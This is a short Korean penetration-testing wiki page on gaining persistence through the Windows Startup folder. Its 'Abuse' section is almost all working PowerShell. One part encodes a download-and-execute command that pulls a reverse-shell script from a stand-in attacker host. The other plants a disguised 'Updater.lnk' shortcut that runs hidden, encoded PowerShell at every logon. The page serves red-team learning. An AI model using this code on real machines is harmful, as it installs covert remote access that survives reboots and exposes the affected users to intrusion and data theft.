> For the complete documentation index, see [llms.txt](https://www.pentestwiki.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pentestwiki.com/persistence/local/startup-folder.md).

# Startup Folder

`$env:AppData\Microsoft\Windows\Start Menu\Programs\Startup` 경로를 시작 프로그램 폴더라고 부르며, 이 위치에 있는 프로그램은 폴더를 소유한 계정이 로그인 될 때마다 자동으로 실행됩니다.

## Abuse

<pre class="language-powershell"><code class="lang-powershell"><strong># 공격자 서버로 연결을 시도하는 스크립트 URL 입력 및 인코딩
</strong>$str = 'IEX ((new-object net.webclient).downloadstring("http://example.com/Reverse.ps1"))'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))
&#x3C;-- Base64 Encoded Command -->

<strong># 파워쉘을 통해 현재 사용자의 시작 프로그램 폴더에 lnk 파일 생성
</strong>$WshShell = New-Object -ComObject WScript.Shell
$StartupPath = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\Updater.lnk"
$Shortcut = $WshShell.CreateShortcut($StartupPath)
$Shortcut.TargetPath = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
$Shortcut.Arguments = "-nop -w hidden -enc &#x3C;Base64 Encoded Command>"
$Shortcut.WorkingDirectory = "C:\Windows\System32"
$Shortcut.WindowStyle = 7
$Shortcut.Save()
</code></pre>
